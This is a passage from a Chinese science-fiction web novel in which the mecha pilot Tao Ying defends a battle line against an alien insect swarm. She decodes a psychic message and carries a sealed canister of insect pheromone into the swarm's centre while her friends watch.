陶影再次确认，这条消息并不是以常规形式发送的,它通过精神力频道直达恒我的收信端。 古朴扭曲，阴森诡谲的文字,像是树根一样在屏幕上蜿蜒爬动着。 陶影观察一阵，也没看出其中的意义。 这不像是星际任何一个地区的语言,甚至都不像人类的语言。 “加密信息……” 虽然她确实学过密码学,但该不会这种时候还要来做人工解码吧？ 外面的瘿虫已经引起恐慌,她还忙着调度星舰，在众人间传达信息。 多线程工作,脑子快爆炸了。 她是人,再怎么说也不是机器,这谁顶得住。 陶影想了想，决定利用有效资源,把数据传给叶行晖让他分析，但传输键刚按下去,陶影愣住了。 怎么传不了？ 其它的数据都传输正常，唯独这段加密信息，仿佛有着自己的生命一般,硬生生赖在恒我的系统中。 屏幕上的文字——姑且管这阴暗爬行的东西叫文字吧，它伸出枯木一般的末梢，像手指一样点了点进度条，然后将传输窗口缠绕起来，小孩耍赖一样紧紧抱着，不让陶影操作。 陶影这才发现，这些信息像是拥有心脏的活物一般,在她眼前不停跳动。 …… 这不是简单的加密信息，更像是一段强行从身上扯下来的精神力数据。 硬要说的话，有点像精神体。 不过不是人的，是虫族的精神体。 文字还在屏幕上抽动，努力吸引着陶影的注意，似乎想向她传达什么。 时间过去两分钟。 陶影：“看这精神力形态，应该是来自蚀心虫。倒是没有什么攻击性，不知道找上我们有什么目的。” 西尔维娅点点头：“嗯，我在前线见过，确实跟蚀心虫一模一样。” 陶影：“如果是精神系虫族的话……” 《虫族防灾指南》三章第一段： 可以进行精神攻击的物种，最好不要近距离接触。 陶影扫视一圈，试图找出这段精神力数据的来源，但战场上并没有蚀心虫的踪迹。 蚀心虫的攻击有距离限制，附近没有的话，这段信息只可能是从裂隙中发出的。 一只精神系虫族，精准找到她发送信息。 而且没有攻击意向。 什么目的？ 陶影心中有点猜测，但不太确定，她抬头想再确认一次，西尔维娅在屏幕内朝她招了招手。 “就是你想的那样。” 陶影眉梢扬起：“这么确定？” 屏幕泛起波纹，一根触手伸出来，陶影顿了顿，掌心贴上触手。她和西尔维娅的精神交融片刻，知道了一些其实并不怎么想知道的信息。 陶影抽回手，眼神中带了一丝麻木。 “我不想拯救世界。” 西尔维娅摊手：“我也不想，要说的话，我比你更无所谓。毕竟我已经死了，认识我的人也基本上都死了……哦，除了安德森那个老东西，他还当着图兰提斯的校长。” “但撇去拯救世界不谈，你还有很多需要保护的东西吧。” 陶影：“嗯？” 西尔维娅指了指陶影的身后：“比如你的朋友。” 又指了指切斯特星、第二以及第三星系的某几颗星球。 “以及你的房产。” 陶影：“……” 她深深地叹了一口气。 一开始回到莱门市，参加机甲比赛也好，顺手教训爱荷华科技也好，都只是想重建莱机所，让恒我重新站在它该在的地方。 当时连机甲都不想开来着。 不知道从什么时候开始，开恒我已经非常顺手了。 就像进入莱门大学后，原本以为只是短暂的相遇，现在竟然变成了在战场上同生共死的关系。 人的缘分真是难以把控。 房产很重要，但也不全是因为房产就是了。 看了一眼屏幕上的加密文字，陶影深吸一口气，挽起袖子。 如果和她的猜测一样，这信息将和战局有所关联。 总之先解密吧。 十分钟后。 陶影：“姬亦，亚克联邦的救援还有半个小时赶到， 撑住。” 第一阵线爆了几声粗口：“你说得容易，S级虫母我们军团又不是没打过，这玩意儿要命的，就这么点人怎么打！” 打个屁！ 临时拼凑的草台班子，元帅不在后方指挥，跑到前线攻击。大学生不老老实实避难，跑去充当指挥，时不时还操作一下星舰。 范东：“我从来没打过这么混乱的仗！” 虫母操纵下的A级蛛，一波接着一波涌来。 如果只是A型蛛还能抵挡，但在S级虫母的指挥下，虫群如同训练有素的军团，铁墙般发起波潮迭起的攻击。 星舰炮弹见底，无法继续支援。 光靠前线的四人撑不住了。 某个瞬间，防线出现了漏洞，八尺蛛血红色的眼睛迅速捕捉到这点，扬起头部，庞大的身体在宇宙中转了个圈，然后趴下，凛然的视线注视着这边。 它是虫母，不到最后的时刻，根本不需要亲自攻击。 因为有无数士兵服从它，为它踏平面前的疆域。 围绕在虫母身侧的虫群，接收到信号，不约而同地抬起肢体。 触角一个连着一个，形成以虫母为中心的蛛网，传导到前线。 姬亦：“这波攻击我没办法完全拦住，后方准备承受冲击！” “小婳、柏墨、林别歌、祝小芮、翟飞舟，及灰兔小队！” “收到！” 姬亦的提醒很早，但虫群的速度下还是给了众人一个下马威，数十只A级虫族以迅雷不及掩耳的速度，迅速穿透第一道防线。 祝小芮咬咬牙拖住一只。 一片狼藉中，陶影友情提醒：“斩它触角，它就接收不到虫母的命令了。” 祝小芮手一抖，下意识照做，她和队友配合，浮游炮集火点燃了A级八足蛛的触角。 八足蛛抱着触角哀嚎两声，甩动着身体。 片刻后，接收不到虫母信息的八足蛛原地转了两圈，果然战斗力减弱，祝小芮和队友抓住时机，抄起家伙打算乘胜追击。 但这时，另一只已然突破第二道防线的八尺蛛杀了个回马枪，骤然转头，就朝祝小芮的驾驶舱袭击而去。 祝小芮下意识后退，但已经来不及了，她能感觉到两侧的驾驶舱被一股近乎引力的强大力量按在一起，耳膜阵阵发痛，驾驶舱硬生生被压进去一个凹坑。翟飞舟想来救援，被另一只虫族拖住，两人陷入泥潭。 “蹲下！” 柏墨的声音从头顶传来，SC49-生息的枪口抵住八尺蛛的腹部，近距离猛地开了一枪。 虫液炸得到处都是，祝小芮的机甲被糊了满脸的绿色虫液，视觉模块都黏答答的，进入自动清洗模式。 等那只虫族的头部被柏墨一枪敲爆，祝小芮这才回过神。 “谢，谢了！” 柏墨迅速举枪朝向她肩头。 “别放松，还有。” 她们很快投入新一轮苦战，作为第二道防线，拦住的虫族数目为七只。 已经算是拼尽全力了，但还是不够，因为下一波攻击又来了。 祝小芮大喊：“有四只A级八尺蛛突破了我们的防线，直达第三区域，有没有人支援！” 大家都在自己的岗位苦战，而第三道防线处，有战斗力的机甲所剩无几。 南卦去负责撤出伤员，在星舰那边还没回来，现在第三防线，只有陶影一个人孤零零站着。 眼见八尺蛛马上就要冲过来，但陶影仿佛什么都没察觉，甚至收起手中的光刃，没有摆出攻击的状态，也没有求援，虽说就算求了也没什么用毕竟大家都在生死关头抽不开身但是这种时候—— “黑心队长，你别站着不动啊！” “四只A级虫族，四只，你知道是什么概念吗！” 她们四人打一只，陶影要怎么一人打四只？何况陶影现在还处在共鸣网络中心，就像虫母一样需要把控整个战局，传递信息。 指挥中枢是绝对不能倒下的。 几位图兰提斯的选手思忖后，甚至立刻要赶来支援，但纯黑色的机甲状态稳健，自然地伸手。 “你们先专注自己的战斗吧，我心里有数。” 姬达婳：“你有个屁的数。” “这种情况下，就算没子弹，好歹也得把刀握上。” 陶影无奈地解释：“我刚才在解密信息，不方便中断。” 祝小芮：“还解什么密，待会儿人没了……等下，什么时候增加的解密环节？我错过了什么吗？” 姬达婳打断祝小芮的疑问，快速道： “有两只虫族朝你去了，小心！” 防护盾在一声地动天摇的声响中被撞碎，陶影被巨大的反作用力弹飞出去，林别歌正在另外一边抵挡，看到这里想往防线内走，被陶影叫停。 “你如果回来，第一防线也要出问题了，别动，我自己想办法。” 虫族也同样受到了巨大的冲击，往反方向弹去。 它被撞得昏头昏脑，暂且停滞的数秒，陶影的光刃飞了出去，斩下它的触角。 陶影手一勾，光刃顺着缆索又回到手中。 恒我还在不断后退，就要撞上星舰，陶影数次抛出缆索，试图通过小行星的重量减速，但因为速度太快，没能实现。 眼见距离星舰只有几百米距离，省能源是省不了了，陶影正要打开推进器，突然感到背后被人一撑，随后恒我的速度减缓，最终她停在了星舰前。 共鸣网络内传来南卦焦急的声音。 “小影，你还好吧？” 陶影摇摇头：“没事，你那边撤退完了？” “嗯，伤员都进入医疗舱了，我按照你说的，联系了莱门监测中心的人，唔……” “怎么了？” 南卦的声音有点虚弱，她笑了笑：“没什么，我刚才在星舰上撞了一下，腿有点疼，不影响驾驶。” “……” 怎么去安置伤员还撞到腿了？ 陶影眨眨眼睛。 “行吧，那先想想现在该怎么办。” 重新回到防线位置，A级八足蛛很快回过神，再次冲向陶影，她和南卦配合着，且战且退。 但南卦今天的动作有点慢，每次在进行大幅度移动时，操作都会停顿，还有微弱的喘息声。 精神力似乎也没有完全恢复。 南卦挥舞巨锤，每一锤都像是用尽全力的力气，重重落下，最后一下高举时，她手似乎突然没了力气，锤子脱手飞了出去。 陶影手很快，缆索缠住锤柄，猛拉一下，将武器勾了回来。 南卦小声说了句抱歉，伸手去接。 陶影原本打算把锤子递到南卦手心，但这会儿想到什么，递了一半，突然又收了回来。 南卦愣住了，弱弱道：“小影？” “那个，我的锤……” 南卦话还没说完，柏墨的子弹循着八足蛛的动线，瞬间到达她们两人身边，帮着击杀了一只，但第二防线新一波的攻击再次到来，柏墨分身乏术，也只能支援这 一颗子弹了。 陶影和南卦需要独自面对三只虫族。 见南卦还想再战，陶影沉默片刻，突然道： “南卦，你的腿伤有点严重吧。” 第144章 南卦连连摇头,一直说“没有，就是小伤，你别担心”,话是这么说，但语气中明显有几分被看穿的慌乱。 她的呼吸声很急。 南卦自己似乎也察觉到这点,努力将声音强压下去，平稳道： “这点小伤我自己可以处理,不用去医疗舱。我想留在战场上帮大家的忙……嘶。” 大概是碰到了腿上的伤口,南卦倒吸一口凉气。 陶影：“……” 太空女鬼队一共四个人,其中有四个是犟种。 南卦双唇紧闭，明显怎么问都不打算承认。 陶影也没再追问,只是透过网络扫描南卦的身体状态,在看到具体数据后,没有半分犹豫，干脆道： “林别歌,回撤，你送南卦去医疗舱。” “回撤？你睁开眼睛看看,我哪里有空干这个……哎！” 林别歌回头说了还没两句，就被虫族攻击了。 那头传来金属尖锐的摩擦声，和陶影说话的间隙,林别歌被虫族盯上，险些被啃掉机甲左臂。 “还好我手脚快躲开了……” 林别歌打得面色煞白，已经连害怕的心思都没有了，只觉得血冲上脑门，发烫。脑子除了虫族两个字，根本装不下别的。 她回过神，想起陶影刚刚好像找她有事,让她干什么来着？ 哦对，把南卦送去医疗舱。 林别歌按住快要跳出胸腔的心脏，语速极快，有些恼怒地朝陶影道：“你不是离星舰最近？？” 言下之意，陶影直接送不就行了，让她从防线后撤去送，有点不合常理。 绕这么大一圈，图什么？ 林别歌晃晃脑袋里的水。 “这些都先不说，我要是撤了，第一防线的缺口谁来补啊？” “队长，你清醒点，现在可不是头脑发昏的时候。” 林别歌本来嗓门就大，这会儿因为身边的虫群太吵，她声音下意识提高，嗓门更大了。 简直是震耳欲聋。 陶影捂住半边耳朵，应了两声。 揭示出林别歌这话倒也没错，虫族数目太多，第一防线的任何兵力都弥足珍贵，林别歌如果撤下来，缺口处又没有人填补，阵型很容易崩溃。 陶影当然考虑了这个问题。 她迅速点点头道。 “你说得对，但我这边来不及，所以掐准裂隙变化的时间点，我俩换个位置。” 林别歌似乎觉得自己听错了：“什么？” 她那边有什么来不及？又为什么要换个位置？ 陶影歪头：“没听懂？意思是我来填补空缺。” “我听明白了，我又不是傻子……谁跟你说这个啊！你一负责指挥的，为什么老是喜欢冲在最前面？” “每次情况一危险就这样，你长点心吧。” 那头叽里咕噜传来林别歌的碎碎念，她显然完全不同意陶影的计划。 在南卦也说着什么“我还可以战斗，不用去医疗舱”的背景中，林别歌硬气地朝陶影道： “老实呆着，你这个只能战十二分钟的女人！” 什么十二分钟，她体质提升了，现在明明可以战十五分钟好不好。 但陶影是个非常成熟的大人，不欲和林别歌争辩，她手肘撑在操作台上，露出微笑。 “队长命令，听不听？” 裂隙下次切换是在五分钟后，根据陶影摸索出的规律，裂隙连接的下一个位置，是疾蜻的虫巢。陶影查看记录，这个虫巢的虫族大部分是C级疾蜻，最高级别也就A级，强度比起八足蛛，有所减弱。 很适合趁机变换阵型。 “等会儿我一发信号，立刻交换位置，柏墨有空可以支援。” 说完这些，陶影再次确认了南卦的身体状况。 比刚才更糟糕了。 血压下降，皮肤苍白，反应变得略微迟钝……恐怕是因为失血。 必须尽快撤离。 “小影，那三只八足蛛开始动了。”南卦喘息两声，出言提醒。 陶影抡起缆索，手腕一压，缆索末端的光刃在宇宙中闪过一道寒光，八足蛛灵敏地避开。 没有击中。 但陶影并没气馁，突然发力，往前猛地一跳，手指戳向它们最大的弱点——眼睛。 手中的冰锤吸引它们的注意，而光刃在空中旋转一圈，飞回，八足蛛向左避开，但那里正是陶影的陷阱，她从恒我的腰侧掏出把隐藏的小刀，迅速砍掉了它们的触角，动作十分干脆。 众人还没来得及惊讶，那三只八足蛛已经和虫族的“指挥中心”失去联系。 “——！” “——！” 虫族无声地互相交流着，它们似乎认为陶影是个极大的威胁，开始在原地谨慎地转圈，动作缓慢地观望着，并没有急着发动攻击。 其中一只盯上了陶影，黑色的眼珠时不时朝这个方向转来，被陶影发现后，又装作并没注意，向星舰的方向爬动。 它在试探。 陶影眼神凛然，手中的光刃微倾，映照出虫族的身影。 那虫族踌躇片刻，在和陶影的对峙中败下阵来，退后了。 星舰的舷窗处，有伤员正在观察这边的情况，看到陶影只身退三只A级虫族，都是一脸神奇而震惊的表情。 “她果然很熟练。” 远处，莱门监测中心。 切斯特星背侧被拟态虫族侵入，战况一触即发，技术员们正在紧锣密鼓地提供着支援。 而叶行晖、伊琳娜、莉缇安娜视线紧盯着宇宙中的陶影。 “她战斗的动作更流畅了。” 莉缇安娜垂头思忖：“就我对陶影的了解来说，十年前的她明面上是莱机所所长，暗地里帮雇佣兵团调试机甲，赚点研究所经费，基本上一门心思投入到了研究里，根本没有训练开机甲的时间。” 撇去监狱里的某人不谈，陶影身边正经上过战场的人只有姬亦。 但姬亦是没耐心教人的。 陶影究竟从哪里学的开机甲？ 而且让莉缇安娜惊讶的不仅仅是战斗风格，还有陶影那种面对虫族毫无恐惧的从容。 莉缇安娜也在军队待过，她被当时的教官评价胆子很大，但第一次在战场上见到虫族，两腿依旧像石化了一样，重重地陷在地上，根本迈不动步子。 那种恐惧感让莉缇安娜记忆犹新。 非我族类的高耸身体，冰凉光滑，流淌着粘液的甲壳。 那带来一种压倒性的恐惧。 无论胆子再怎么大，又或是对自己的能力再自信，无论是第一次、第二次，或是第三次遇到虫族……莉缇安娜可以肯定地说，那种战栗感很难在几场战斗中消失。 偶有一些喜欢追求刺激，或者很擅长控制情绪的机师，倒是可以装作平静。 但陶影和他们都不一样。 她没有掩盖情绪。 别人看见S级虫母出现，要不就是惊慌失措，要不就是绝望。 而陶影却没有太大的反应。 她无比冷静，很快接受现实，下意识开始思考对策，甚至还能在混乱的状况中，推断出裂隙的循环规律。 现在还像战场上的熟练兵，一举切掉了三只A级虫族的触角，让它们有所忌惮。 星际找不出第二个这样全能的人。 莉缇安娜摇了摇头。 “怎么能天才到这个地步。” “是啊。” 图兰提斯的校长——安德森也感慨地拍拍他的西装，坐到莉缇安娜和叶行晖中间。 就在刚刚，安德森将图兰提斯战术学院机库中的部分机甲，和大量武器提交，作为送往第十三裂隙附近的支援物资。 安德森来到切斯特星的指挥中心。 原本想着观察一下情况，就该决定奔赴前线了，但注意到这边的战斗，突然停下脚步。 他无法从陶影身上移开视线。 “她真 的没上过战场吗？” “她这副动作，就像长期和虫族搏杀过。” “说真的，让我想起一个人。” “谁？” 安德森怀念地摇摇头：“我的战友，帝国的元帅，图兰提斯学院的创始人——西尔维娅斯托姆。” 陶影抬起右手，下意识在额前推了推不存在的帽檐，随即她意识到这个习惯很怪，又收回手。 距离裂隙变换的时间还有一分钟，三只虫族被大幅削弱，正是干掉它们的最佳时机。 南卦伸手：“小影，趁现在我们一起上，我的冰锤……” 陶影冷静地拒绝了她。 “没有你的冰锤，现在是我的冰锤了，站那儿别动。” 陶影将南卦挡在身后，甩出缆索，尖端缠上一只A级八足蛛。 光刃卡在八足蛛头部和腹部的缝隙中，将它牢牢固定，越挣扎越紧，但八足蛛的外壳太坚硬，陶影费了好大一番功夫都没能切断。 她想了想，转头用南卦的冰锤朝八足蛛的腹部击打，一层白霜迅速从击打的中心蔓延开，八足蛛被冻成了冰雕。 八足蛛被短暂地冻住，身体发出咔嚓的脆响，陶影手中缆索绕紧，收束，在层层收缩而无法逃开的死亡陷阱中，身体从正中间被绞断。 干掉一只。 陶影没有太大的反应，只是仿佛达成了目的，迅速收回缆索，又开始琢磨下一步动作。 “南卦，还醒着吗？现在不能睡，听见没有。” 队频十分安静，南卦像是睡着了一样。 陶影定了定声，又说： “再不回答，我就把你速写本里面的内容全贴到校园论坛，包括不能播的那部分。” “……不要……” 总之，南卦似乎是艰难地坐起身。声音变得更微弱了些，好在还算清醒。 陶影看了一眼时间。 “很快了，再坚持一会儿。” 见同伴变成两截，另外两只八足蛛明显有些躁动不安，原本因为忌惮不敢动，但现在的情况已经变成了它们不动，可能就会死的状态。 两只虫族的身体互相撞了撞，似乎是在交流什么。 显然，它们得出了结论。 十六只眼睛滴溜溜转动着，最后停留在南卦身上，八足蛛分开左右，窸窸窣窣地转着圈，一步步靠近。 其中一只状似无意地试探，试图扒拉南卦。 跟她动起脑子来了？ 陶影笑了声，随后将缆索的另一端缠绕在冰锤的手柄上。 这下缆索一头是光刃，一头是冰锤，武器合在一起，形态像是链锤。 黑色的机甲甩动着缆索，链条扬起一道冰冷的弧度。 第145章 林别歌做好准备,机甲的能源核心闪烁出星点的光线。 陶影掐着秒，将链锁往反方向甩，虫族被她卡在手里,急奔中拖行。 “林别歌！” “好！” 两人的机甲面朝面，以最快速度往对方冲去,机甲在宇宙中疾速跳跃，能源口喷出的两道白气,在漆黑中交叉出月色。 陶影迅速变换了阵型。 她来到第一防线。 迎面而来的是数只A级虫族,姬亦跟范东已经杀红了眼,余光看到有人不知死活地冲上来，以为是林别歌,下意识大喊了一声后退。 在看清来人是陶影后,范东发现骂错人,先是愣了一下，随后反应过来,骂声变得更大了。 姬亦也大喊一声：“陶影，你不要命了？！” 陶影充耳不闻。 只是专心地攻击着。 手中的“流星锤”在虫群中来回击打,虫族开始“噗嗤”“噗嗤”地爆浆。 “——！” 陶影面前的虫群发出无声的惨叫。 很快，空间里漂满了粘稠的黄色浆液。 粘液碰撞在一起就聚合，被缆索撞击又分化成水滴。 它们在密集的攻击中,不断变化形态。 陶影手一松，绕在腕间的三圈缆索滑脱出去。 重力微弱而且缺乏气体的空间内，物体的速度总是更快的。 在陶影停止控制缆索的瞬间，冰锤沿着切线方向闪电般飞出，接连穿过数只虫体，最后砸中一只足足十米高的超大型巨镰，穿透它的胸口。 叮零当啷的声音隔着机甲传来,陶影迅速收紧铁链，再次以手臂为圆心，甩出一个半圆。 虫族倒下一片。 有八足蛛站立在直直的缆索上，走钢丝一样，飞速朝这边爬来。 陶影并没慌乱，只是冷静地掏出小刀，狠狠扎进它的腹部，随后一把甩回了虫群中。 她预测精准，动作狠戾，三下两下，竟然以一己之力清扫了面前的区域。 沉寂片刻后，不知道是谁小声说了一句。 “好强……” 众人虽然忙着打架没说话，但都有同样的想法。 陶影的战斗素养跟他们不相上下，甚至更胜一筹。 但不该吧？他们军团可是杀过一百多万头虫族，打遍了星际，这才有了现在的作战水平。 陶影第一次上战场怎么就这么熟练？ 众人心思微动间，战线往前推进一步，而正值这个时候，裂隙似乎切换了空间链路，连接到下一个虫巢。 虽然还是有大量虫族源源不断涌出，但等级比刚才低，更好应付。 甚至给了他们整备的空余。 陶影在众人的目光中变得高大起来。 而恒我并没有停止动作，它率先冲在前面，再次发起猛攻，随后回头示意大家跟上。 感觉哪里不对。 众人愣神片刻，甩了甩头，终于想起来一件事。 不对，虽然陶影确实很强，但也只能强一会儿啊！ 猛烈的攻击后是猛烈的反扑，她这会儿费这么多体力，待会儿是打算站原地等死吗？ 范东怒目：“十二分钟，你不老实呆在后方，上这里来干什么？” 陶影听到人类的声音，骤然一个神龙摆尾，停在隔离带。 刚刚打得太兴奋，好像忘记呼吸了，低头一看，果然心跳过速，指尖都在颤抖。 陶影平稳气息，举起手指，啧啧地摇了两下。 “什么十二分钟，战斗中还有闲心给我起新绰号，小姬，你的战友打得不够认真啊。” “谁不认真？”姬亦有种想给陶影来一枪的冲动，捏了捏拳头，“话说你叫谁小姬？” 陶影自动无视了范东的骂声和姬亦的死亡凝视，清清嗓子，纠正道：“非要取绰号的话，别叫十二分钟，毕竟我是能战整整十五分钟的女人。” “请叫我十五分钟，谢谢。” “……” 四人本来就打得很狂躁，眼里都是红血丝，这会被陶影一句话点燃了，浑身窜起一股鬼火。 四人齐声道：“这种时候还有闲心胡扯，闭嘴吧你！” 怒火加成下，大家对虫族下手更狠了。战线勉强维持了数 十分钟的平稳。 但十五分钟的节点过去，陶影体力条见底，暂时退到第二防线。 而第一防线的众人长时间作战，情况比陶影好不到哪里去，也是筋疲力尽。 随着新一轮的虫族攻击，战况又变得扑朔迷离。 医疗舱伤员遍地，止痛剂早用完了，到处都是痛苦的声音。地上横躺着各种人，几乎没有空余的地方可以下脚。 就在大家快要支撑不住的时候。 后方终于传来了好消息。 切斯特星的战备资源，和亚克联邦的支援军团同时到达。 众人看着资源舰里的几十台机甲，以及成箱的子弹，来不及感慨图兰提斯真是财大气粗，迅速根据清单清点资源，然后分配到前线。 “总算可以喘口气了。” 祝小芮痛哭流涕：“安德森校长我爱你——” 姬达婳身上挂彩，在医疗舱做完紧急处理后，过来领了资源，正打算回到战场上，就被仓库的整备员拦住。 整备员抬头看了看姬达婳，又低头看了眼手中的信封。 那是一封古朴的信，甚至还用红色的蜡封口。 封面上写着姬达婳的名字。 整备员：“姬达婳同学……是吧？” 见姬达婳点了点头，整备员一脸找对人了的表情，带她来到仓库角落。 这是唯一没有在清单上的资源。 是个五米高的金属罐子，接口处严丝合缝，也没有任何可以开启的封口。 整备员：“这个金属罐，指定要你送到陶影那里去。喏，还有一封信。” 姬达婳接过信封，摩挲了一下凸起的封口蜡，又抬头看了看那里三层外三层封得严严实实的铁皮大罐头。 “包裹？” 整备员点点头：“陶影选手指定要的，说最好不要让别人知道。具体装着什么我也不清楚，听上去一点声音都没，就像个空罐子一样……总之她有特地叮嘱绝对不要打开。” “可能是炸弹什么的吧，我也不知道。” “所有信息都写在这封信里了，那我先走了，那边的仓库还要整理一下。”整备员说完立刻离开。 “……” 明明可以通过在线网络说明，为什么非要写信？ 姬达婳脸上三分警惕，两分疑惑，五分“这不对劲”。 她心中有种超越以往任何一次的极为不详的预感，下意识想拒绝充当这个战场快递员，但整备员递来的信封上，明明白白写着莉缇安娜陛下和安德森两个人的共同签名。 竟然是来自帝国最高权力的请求…… 姬达婳微微惊讶地张开嘴。 陶影究竟要求了什么东西，需要让陛下，和一位元帅，同时请求她来帮忙送的？ 一个空罐子？ 陶影每隔一分钟便确认一次时间，很快她接到姬达婳的联络。 大概确认了方位和接头地点，陶影暂时和柏墨换了位置，退到防线后和姬达婳碰面。 “东西呢？” “这儿。” 姬达婳小心翼翼地怀中的金属罐递到陶影手心，生怕这珍贵的运送物不小心漂进太空，那她罪过就大了。但姬达婳又对罐子十分警惕，一将它递过来，就立刻远离陶影数米。 信封里的内容不太正经，一看就是直接把陶影的原话写了下来。 大概意思就是，绝对不能半路打开金属罐，不然人类就完蛋了。 陶影虽然会胡说，但有陛下和安德森校长的签名，内容应该还是属实的。 到了会毁灭人类的水平，里面究竟装着什么啊。 姬达婳略带试探地问陶影：“里面是什么小型杀伤性武器？” “唔，差不多。”陶影点点头。 陶影话是这么说，手上却接过“小型杀伤性武器”，随意地在手中翻来翻去。金属在机甲的手心撞击，不断发出响声，看得姬达婳心惊肉跳，下意识两手去护。 姬达婳手忙脚乱：“你小心点，待会儿炸了！” “炸？”陶影盯着罐子看了会儿，眯着眼笑了笑，“不会炸的。” 她顿了顿，又自言自语道：“也不对，罐子这么严实，可能是得炸一下才行。” 姬达婳：“……” 陶影最终并没解释里面装了什么，只友好地提醒姬达婳，接下来不要靠近自己，同时通知所有人后撤到第三防线。 大家：“？” “空置前两道防线吗？” “这个时候后撤无异于给这些虫族让路！” “好不容易抢夺来的缓冲区域，为什么拱手相让？” 很快切斯特星那边传来消息，令大家惊讶的是，莉缇安娜陛下的命令和陶影的叮嘱一模一样。 众人议论纷纷，莫衷一是，有些人说这明显是胡来，绝对不能听，有些人说也许陛下有自己的考虑，最后大家只能将求助的视线投向在场唯一靠谱点的人——姬元帅。 姬亦看了看那个罐子，像是密封气体的，她表情迟疑，似乎有了眉目，向陶影问： “你该不会是想……？” “嘘，”陶影开了私聊，指尖轻点嘴唇，“小声点，不能被人听见。” …… 陶影大概解释了作战。 姬亦听得表情越来越复杂。 “差不多就这么回事。” 末了，陶影叹了口气。 “被我朋友知道，这个作战恐怕就要叫停了。毕竟我颇有人格魅力，朋友们都很爱我，不舍得我受伤，只有你们姐妹会用枪指我。” “所以特地选了我们两个？” “你一定会支援的吧？虽然不同意也没用。” 屏幕上，陶影脸上笑呵呵的，语气十分欠揍。 姬亦胸中有口浊气提了起来，但想到陶影的计划，这股浊气吐又吐不出口，压又压不下去。 最后只能化作一句：“你脸皮真是一如既往的厚。” 陶影说了句谢谢夸奖，姬亦转头朝公频挥了一下手。 “照刚才说的做。” 众人虽然不理解，但既然元帅都这么说了，便按部就班地后撤。 虫母迷惑地转动眼珠，看着眼前发生的一切。 而骤然间，陶影动了。 她前进的目标点出乎所有人的意料—— 陶影逆着人潮，抱着金属罐，毅然决然朝着反方向冲去。 她冲进了虫群的中心。 第146章 “小影？”“老大！” 没有任何预兆,陶影就那样冲了出去。 恒我的颜色原本就极黑，极深，再加上表面特制的隐匿涂层,像是黑夜的影子，难以被捕捉,此刻近乎隐没在宇宙的黑暗中。 如同穿梭在无人之境。 稀薄的星光衬托月色，亘古的神明在静谧中狂奔。 恒我怀中抱着一个五米高的金属罐,动作却异常轻盈。 黑色机甲不断穿透虫族的防线,每当大家以为机甲将被阻拦,陶影就会找出一处谁也没有发现的细微破绽，随后迅速抓住并击溃,继续向前。 她目标明确,势不可挡。 并不恋战。 虫族层层叠叠,如同浪潮一般涌来，而她在虫海中卷起更汹涌,更凶险的波涛。 众人惊讶的目光纷纷投向虫群中心。 “她这是要做什么？” 很快，陶影到了别人根本追不上,也不可能到达的地方。 她现在的位置，距离S级虫母还有一公里。 太近了。 危险到了极点。 伊琳娜怀中的大面包橘猫似乎察觉到什么，不安地扭动着。 它朝恒我的机甲喵了两声。 之前因为比赛,陶影把家里的猫狗都托给伊琳娜照顾，今天临时来莱门监测中心帮忙，她顺手把它俩都带来了。 伊琳娜被弄得手臂挂彩，只能把沉重的大面包塞到叶行晖怀里。 大面包回到熟悉的怀抱，这才团成一团，安静了会儿。 只是尾巴还在小幅度抽动。 像是要炸毛的前兆。 总不可能它也能看懂现在的局势，在担心铲屎官吧。 伊琳娜摇摇头,转头看向还在不断前进的陶影，她神色严肃：“她难道打算单挑虫母？” 叶行晖摇摇头，果断否认了这个猜测。 “不，小影不会干这么有勇无谋的事情，她肯定有其它计划。” 让大家突然后撤，是因为陶影预料到危险，或者她打算制造危险。但不管她在谋划什么，只身潜入虫群都太超出想象了。 最重要的是，为什么不把计划告诉队友？ …… 叶行晖觉得不太妙。 莉缇安娜从刚刚开始，就目不转睛地看着陶影的方向，神色专心，好像在确认什么。 再看，安德森的表情也很沉稳，似乎对陶影的动作心中有数。 他们对陶影的计划知情。 如果连外人都能知道，为什么不告诉他？ 叶行晖心中越来越怀疑，最后纤长的指尖探入网络，像击打琴键般敲击一下。 他要直接问陶影。 一道银白色的精神力闪电般劈开网络，流向恒我的方向，试图和陶影进行交流。 两人的精神力似乎接触了。 但陶影并没有 回应。 银白色的电子流被无数次弹开。 【正在测试连接信号，当前MR网络延迟，30……50……112ms，平均延迟60ms。】 【网络连接正常。】 【再次尝试连接……对方无应答。】 精神力网络中，只剩一片空荡的余音。 叶行晖心脏突然跳得很快。 他没有心脏，也没有心跳，但这种心悸似乎篆刻在他的灵魂中。 陶影没有回应。 就像她曾经离开的十年，每个夜晚，叶行晖都会发出信号寻找她，然后面对空寂的宇宙，等不到任何回答。 那些日子太冷，也太令人恐惧。 如果再发生第二次的话…… 叶行晖定了定神，站直身体。 不，不能再发生第二次。 他直觉陶影的行为和那个罐子有关，想起这批物资是图兰提斯送过去的，转头就问安德森。 “罐子里装着什么？” 见安德森没有回答，叶行晖大步向前，又问了一次。 “究竟装着什么？” 他的声音在大厅里回荡，装着十分的刨根究底。 仿生人的身体很重，近乎将地板踏出个洞来，莱门监测中心内一时间安静得落针可闻。 片刻后，莉缇安娜打破沉默。 她顿了顿：“是信息素。” 叶行晖愣了一下：“信息素？” 莉缇安娜手在肘尖敲了敲，似乎有些犹豫要不要回答，而叶行晖已然察觉到她的意思。 是虫族的信息素。 如果需要那么严密地封起来，如果又要带到虫群的中心的话…… 他怎么可能不知道那是什么？ 那是和叶行晖整个人生相伴的毒素，曾经杀死过无数的人类。 叶行晖：“瘿虫……是瘿虫的信息素，对吗？” 莉缇安娜没有回答。 莱门监测中心的电费似乎又开始飙升，直到爆条亮起红灯。 主任茫然举手：“那个，有没有人跟我解释一下瘿虫的信息素是怎么回事。” “它有什么特别吗？” 叶行晖沉默了会儿，摇摇头道：“瘿虫的信息素对人类的神经系统有攻击性，可以摧毁人类的身体，是绝症。” “不能治疗？” 莉缇安娜：“目前没有治疗办法，它会让患者产生极大的痛苦，染上的人类大多会在一年内死亡。” 莉缇安娜说着，往叶行晖的方向看了一眼。 “简直是生化武器啊。” 主任想起那装信息素的罐子是从切斯特星运过去的，突然有点后怕。 “威力这么大，那陶影把这个东西带到虫群中心，是为了让虫母感染致死？会不会见效太慢了一点……” “不，这东西对虫群作用完全不一样。第二星系的拂瓦星曾经爆发的赤潮还记得吧？” 伊琳娜想起这话陶影也说过，此刻脑中仿佛被雷劈了一样，她手颤抖着指向屏幕，嘴皮子哆嗦。 “瘿虫的信息素可以吸引虫族。” “那混蛋是打算把所有的虫族都引到同一个地方……” 距离S级虫母还有五十米。 虽然陶影操作机甲的动作已经十分完美，但面对大量的虫群攻击，不可能完全无伤。 不如说还能活着就已经很厉害了。 